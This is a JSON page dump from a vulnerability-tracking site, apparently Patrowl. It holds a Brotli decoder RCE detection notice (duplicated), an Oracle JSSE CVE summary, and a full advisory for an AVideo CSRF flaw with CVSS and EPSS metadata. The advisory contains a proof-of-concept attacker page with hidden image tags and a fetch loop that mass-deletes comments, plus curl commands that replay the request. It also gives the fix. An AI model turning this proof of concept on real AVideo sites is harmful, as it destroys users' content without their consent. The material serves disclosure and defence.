[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-40929":30,"landing-articles":83},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":47,"cwes":48,"cpes":50,"technologies":53,"references":55,"score":60,"epss_score":61,"epss_percentile":62,"is_kev":63,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":64,"attack_mappings":74,"exploits":81},8981,"CVE-2026-40929","EUVD-2026-24525","WWBN AVideo is missing CSRF protection in objects\u002FcommentDelete.json.php enables mass comment deletion against moderators and content creators\n\n## Summary\n\n`objects\u002FcommentDelete.json.php` is a state-mutating JSON endpoint that deletes comments but performs no CSRF validation. It does not call `forbidIfIsUntrustedRequest()`, does not verify a CSRF\u002Fglobal token, and does not check `Origin`\u002F`Referer`. Because AVideo intentionally sets `session.cookie_samesite=None` (to support cross-origin embed players), a cross-site request from any attacker-controlled page automatically carries the victim's `PHPSESSID`. Any authenticated victim who has authority to delete one or more comments (site moderators, video owners, and comment authors) can be tricked into deleting comments en masse simply by visiting an attacker page.\n\n## Details\n\n### Vulnerable endpoint: `objects\u002FcommentDelete.json.php`\n\n```php\n\u002F\u002F objects\u002FcommentDelete.json.php:1-35\n\u003C?php\nheader('Content-Type: application\u002Fjson');\nglobal $global, $config;\nif (!isset($global['systemRootPath'])) {\n    require_once '..\u002Fvideos\u002Fconfiguration.php';\n}\nrequire_once $global['systemRootPath'] . 'objects\u002Fcomment.php';\n\n$obj = new stdClass();\n$obj->error = true;\n$obj->msg = '';\n$obj->id = intval(@$_REQUEST['id']);      \u002F\u002F \u003C-- GET or POST\n$obj->status = false;\n\nif (empty($obj->id)) {\n    $obj->id = intval(@$_REQUEST['comments_id']);\n}\n\nif (empty($obj->id)) {\n    $obj->msg = __(\"ID can not be empty\");\n    die(_json_encode($obj));\n}\n\n$objC = new Comment(\"\", 0, $obj->id);\n$obj->videos_id = $objC->getVideos_id();\n$obj->status = $objC->delete();           \u002F\u002F \u003C-- destructive action, no CSRF check\n...\n```\n\nNo `forbidIfIsUntrustedRequest()`, no `verifyToken()`, no token\u002Fnonce parameter, no `Origin`\u002F`Referer` validation. The handler accepts `$_REQUEST`, so the request may be delivered as `GET` (e.g. via `\u003Cimg src>`) or `POST` (e.g. via an auto-submitting form \u002F `fetch`).\n\n### Authorization inside `Comment::delete()` does not stop CSRF\n\n```php\n\u002F\u002F objects\u002Fcomment.php:147-159\npublic function delete() {\n    if (!self::userCanAdminComment($this->id)) {\n        return false;\n    }\n    ...\n    $sql = \"DELETE FROM comments WHERE id = ?\";\n    ...\n    return sqlDAL::writeSql($sql, \"i\", [$this->id]);\n}\n\n\u002F\u002F objects\u002Fcomment.php:316-332\npublic static function userCanAdminComment($comments_id) {\n    if (!User::isLogged()) { return false; }\n    if (Permissions::canAdminComment()) { return true; }   \u002F\u002F site moderator\n    $obj = new Comment(\"\", 0, $comments_id);\n    if ($obj->users_id == User::getId()) { return true; }  \u002F\u002F comment owner\n    $video = new Video(\"\", \"\", $obj->videos_id);\n    if ($video->getUsers_id() == User::getId()) { return true; } \u002F\u002F video owner\n    return false;\n}\n```\n\nThis check is exactly what CSRF abuses: it asks \"is the session user allowed to delete this comment?\" In a CSRF attack, the session user is the victim, and yes — the victim is allowed. So the check grants the request.\n\n### Site-wide cookie policy makes cross-site delivery reliable\n\n```php\n\u002F\u002F objects\u002Finclude_config.php:139-146\nif ($isHTTPS) {\n    \u002F\u002F SameSite=None is intentional: AVideo supports cross-origin iframe embedding\n    \u002F\u002F where users must stay authenticated (e.g. video players on third-party sites).\n    \u002F\u002F Setting Lax would break that use case. All state-mutating endpoints that are\n    \u002F\u002F vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken).\n    ini_set('session.cookie_samesite', 'None');\n    ini_set('session.cookie_secure', '1');\n}\n```\n\nThe in-source comment is explicit: because AVideo intentionally opts out of SameSite protection, every state-mutating endpoint is responsible for its own CSRF defense. `commentDelete.json.php` forgets to apply it. The canonical example that does get it right is `objects\u002FuserUpdate.json.php:18`:\n\n```php\n\u002F\u002F objects\u002FuserUpdate.json.php:13-18\nif (!User::isLogged()) {\n    $obj->msg = __(\"Is not logged\");\n    die(json_encode($obj));\n}\n\nforbidIfIsUntrustedRequest();   \u002F\u002F \u003C-- what commentDelete.json.php is missing\n```\n\nA repository-wide grep for `forbidIfIsUntrustedRequest` yields only `objects\u002FuserUpdate.json.php` and the function definition itself — no shared middleware exists, and no bootstrap in `configuration.php` \u002F `include_config.php` wraps endpoints with a CSRF check.\n\n### Attacker model \u002F victim value\n\n- **Site moderators** (any account with `Permissions::canAdminComment()`): full-site comment deletion oracle.\n- **Video creators** (channel owners): deletion oracle for every comment on their own videos.\n- **Comment authors**: only their own comments (self-DoS, low value).\n\nThe first two classes make this a real integrity\u002Favailability attack on community content.\n\n## PoC\n\nAssume the target AVideo instance runs at `https:\u002F\u002Fvictim.example.com` and the victim is a logged-in moderator (or any video owner). The attacker hosts:\n\n```html\n\u003C!-- https:\u002F\u002Fattacker.example\u002Fmass-delete.html -->\n\u003C!doctype html>\n\u003Chtml>\u003Cbody>\n\u003Ch1>Cute kittens\u003C\u002Fh1>\n\u003C!-- GET variant (works because the endpoint uses $_REQUEST): -->\n\u003Cimg src=\"https:\u002F\u002Fvictim.example.com\u002Fobjects\u002FcommentDelete.json.php?comments_id=1\" style=\"display:none\">\n\u003Cimg src=\"https:\u002F\u002Fvictim.example.com\u002Fobjects\u002FcommentDelete.json.php?comments_id=2\" style=\"display:none\">\n\u003Cimg src=\"https:\u002F\u002Fvictim.example.com\u002Fobjects\u002FcommentDelete.json.php?comments_id=3\" style=\"display:none\">\n\u003C!-- ... up to N -->\n\n\u003C!-- POST variant (same result, reaches the POST code path the legit UI uses): -->\n\u003Cscript>\nfor (let i = 1; i \u003C= 10000; i++) {\n  fetch(\"https:\u002F\u002Fvictim.example.com\u002Fobjects\u002FcommentDelete.json.php\", {\n    method: \"POST\",\n    credentials: \"include\",\n    headers: {\"Content-Type\": \"application\u002Fx-www-form-urlencoded\"},\n    body: \"comments_id=\" + i\n  });\n}\n\u003C\u002Fscript>\n\u003C\u002Fbody>\u003C\u002Fhtml>\n```\n\nManual verification of the server-side handler with the victim's own cookie (demonstrates that the endpoint itself performs the delete with no token):\n\n```bash\n# 1. Log in as a moderator and capture PHPSESSID\ncurl -c cookies.txt -d 'user=moderator&pass=pass' \\\n  https:\u002F\u002Fvictim.example.com\u002Fobjects\u002FuserLogin.json.php\n\n# 2. Call the endpoint with nothing but the session cookie and a comments_id.\n#    No CSRF token, no Referer\u002FOrigin matching the site.\ncurl -b cookies.txt \\\n  -H 'Origin: https:\u002F\u002Fattacker.example' \\\n  -H 'Referer: https:\u002F\u002Fattacker.example\u002Fmass-delete.html' \\\n  'https:\u002F\u002Fvictim.example.com\u002Fobjects\u002FcommentDelete.json.php?comments_id=1'\n# -> {\"error\":false,\"msg\":\"\",\"id\":1,\"status\":true,\"videos_id\":...}\n```\n\nThe `{\"status\":true,\"error\":false}` response confirms the row was deleted; compare with `objects\u002FuserUpdate.json.php` under the same Origin\u002FReferer, which returns the \"Invalid Request\" forbidden page from `forbidIfIsUntrustedRequest()`.\n\n## Impact\n\n- Cross-site mass deletion of comments.\n- Against a site moderator (`Permissions::canAdminComment()`), the attacker can permanently delete every comment on the platform — a severe content-integrity and availability hit on the community layer.\n- Against any channel owner, the attacker can wipe all discussion under that creator's videos, a targeted reputation \u002F engagement attack (e.g., silence dissent, silence evidence of prior posts).\n- The attack only requires luring a logged-in victim to any page that can fetch\u002Fembed\u002Fsubmit — a forum post, a compromised ad, a link in email, a rogue embed.\n- No credential compromise is required; the attack does not leak data, but it destroys it.\n- Because SameSite=None is a deliberate, documented product decision, browser-side defenses do not intervene.\n\n## Recommended Fix\n\nApply the project's own prescribed CSRF pattern to the handler. Two layers are appropriate:\n\n1. Require an authenticated session and reject untrusted-origin requests (same treatment as `userUpdate.json.php`).\n2. Restrict the method to `POST` so drive-by `\u003Cimg>` and navigational `GET` deliveries cannot reach the sink.\n\n```php\n\u002F\u002F objects\u002FcommentDelete.json.php\n\u003C?php\nheader('Content-Type: application\u002Fjson');\nglobal $global, $config;\nif (!isset($global['systemRootPath'])) {\n    require_once '..\u002Fvideos\u002Fconfiguration.php';\n}\nrequire_once $global['systemRootPath'] . 'objects\u002Fcomment.php';\n\n\u002F\u002F --- added CSRF defense ---\nif (!User::isLogged()) {\n    die(_json_encode((object)['error' => true, 'msg' => __('Is not logged')]));\n}\nforbidIfIsUntrustedRequest();                       \u002F\u002F Referer\u002FOrigin gate\nif ($_SERVER['REQUEST_METHOD'] !== 'POST') {         \u002F\u002F no $_REQUEST drive-by\n    die(_json_encode((object)['error' => true, 'msg' => 'POST required']));\n}\n\u002F\u002F --- end added ---\n\n$obj = new stdClass();\n$obj->error = true;\n$obj->msg = '';\n$obj->id = intval(@$_POST['id']);\n$obj->status = false;\n\nif (empty($obj->id)) {\n    $obj->id = intval(@$_POST['comments_id']);\n}\n...\n```\n\nStronger (recommended): also require a short-lived global token via `verifyToken()` as the in-source comment in `objects\u002Finclude_config.php` prescribes, and audit every other `objects\u002F*.json.php` handler that performs a write — the same omission likely affects additional endpoints and should be handled project-wide, ideally through a shared bootstrap that enforces `forbidIfIsUntrustedRequest()` for any `json.php` that mutates state.","2026-04-14T23:13:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":45,"attackComplexity":44,"availabilityImpact":44,"privilegesRequired":46,"confidentialityImpact":46},"UNCHANGED","3.1",5.4,"NETWORK","MEDIUM","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:N\u002FI:L\u002FA:L","LOW","REQUIRED","NONE",true,[49],"CWE-352",[51,52],"cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*","cpe:2.3:a:wwbn:avideo:29.0:*:*:*:*:*:*:*",[54],"Wwbn Avideo",[56,57,58,59],"https:\u002F\u002Fgithub.com\u002FWWBN\u002FAVideo\u002Fcommit\u002F184f36b1896f3364f864f17c1acca3dd8df3af27","https:\u002F\u002Fgithub.com\u002FWWBN\u002FAVideo\u002Fsecurity\u002Fadvisories\u002FGHSA-8qm8-g55h-xmqr","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-40929","https:\u002F\u002Fgithub.com\u002FWWBN\u002FAVideo",0.62,0.00113,0.01422,false,{"timestamp":65,"automatable":66,"tech_impact":67,"exploitation":68,"cisa_decision":69,"cisa_remediation_timeline":73},"2026-04-22T17:58:28.716992Z","no","partial","poc",{"vector":70,"decision":71,"priority":72},"CISAv1\u002FE:P\u002FA:N\u002FT:P\u002FM:H\u002F2026-10-26T02:03:38.348032\u002F","track_star","medium","60D",[75],{"name":76,"source":77,"tactics":78,"technique_id":80},"Exploit Public-Facing Application","attack_vector",[79],"initial-access","T1190",[82],{"link":57},{"count":84,"next":85,"previous":6,"results":86},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[87,95,103],{"id":88,"title":89,"summary":90,"published_at":91,"type":92,"link":93,"image_url":94},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":96,"title":97,"summary":98,"published_at":99,"type":100,"link":101,"image_url":102},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":104,"title":105,"summary":106,"published_at":107,"type":108,"link":109,"image_url":110},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]